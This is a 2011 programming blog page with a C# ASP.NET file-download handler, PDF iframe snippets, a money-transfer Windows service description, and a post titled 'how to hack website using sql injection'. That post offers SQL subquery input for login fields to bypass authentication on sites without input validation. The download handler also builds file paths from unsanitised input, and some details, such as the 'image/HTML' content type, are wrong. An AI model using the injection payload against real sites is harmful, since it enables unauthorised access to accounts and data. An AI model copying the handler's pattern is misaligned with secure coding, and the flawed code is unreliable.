Search This Blog

Thursday, June 16, 2011

file download code in C#

 #region File download
    private void forceDownload(string filePath, bool forceDownload)
    {
        try
        {
            string path = MapPath(filePath);
            string name = Path.GetFileName(filePath);
            string extension = Path.GetExtension(filePath);
            string contentType = string.Empty;
            switch (extension.ToLower())
            {
                case ".jpg":
                    contentType = "image/JPEG";
                    break;
                case ".gif":
                    contentType = "image/GIF";
                    break;
                case ".html":
                case ".htm":
                    contentType = "image/HTML";
                    break;
                case ".pdf":
                    contentType = "Application/pdf";
                    break;
                case ".doc":
                case ".rtf":
                    //for Microsoft Word files
                    contentType = "Application/msword";
                    break;
                case ".xls":
                    //for Microsoft Excel files
                    contentType = "Application/x-msexcel";
                    break;
                case ".txt":
                    contentType = "text/plain";
                    break;
            }

            if (forceDownload)
            {
                Response.AppendHeader("content-disposition", "attachment; filename=" + name);
            }
            if (contentType != string.Empty)
                //Set the appropriate ContentType.
                Response.ContentType = contentType;
            //Write the file directly to the HTTP content output stream.
            Response.WriteFile(path);
            Response.End();
        }
        catch (Exception errmsg)
        {
            Response.Write(errmsg.Message.ToString());
        }
    }
    #endregion
    protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
    {
        string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
        if (File.Exists(Server.MapPath(filePath)))
        {
            forceDownload(filePath, true);
        }
        else
        {
            ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
        }
    }
}
< iframe id="iframetest"
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.

Window Services for Scheduler


Please download this code by download code link.
In this Window Service code I have create Scheduler for money transfer at a particular requested date. If any user set different different date or time for money transfer automatic on same date and time without any event. Then we have use window services.
One user set time and date 12 July 2011 at 10:00 am money transfer A client table on sane date and time.
DB detail:
Two tables
1 for balance Userbalance (given date and time amount updated by window service)
2nd one for User_Request_Amount (set transfer amount)
We have created window service exe and register in server its work automatic.

Monday, June 6, 2011

open the pdf in modal dialog box.

< iframe id="iframetest"
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.

Friday, June 3, 2011

how to hack website using sql injection

if database built by your self if you use this type of query to login and have no validation in your field.

select * from tabelname where username=@username and password=@password and flag=1

then you simply write in username field.

username = (select top 1 username from tabelname where username like 'm%') and

password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))

and then the query becomes work like this

select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1

*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select  top 1 userpwd from tableABC where userpwd like 'v%')

username=(select top 1 userid from tableABC where userid like 'm%')
password=(select  top 1 userpwd from tableABC where userpwd like 'v%')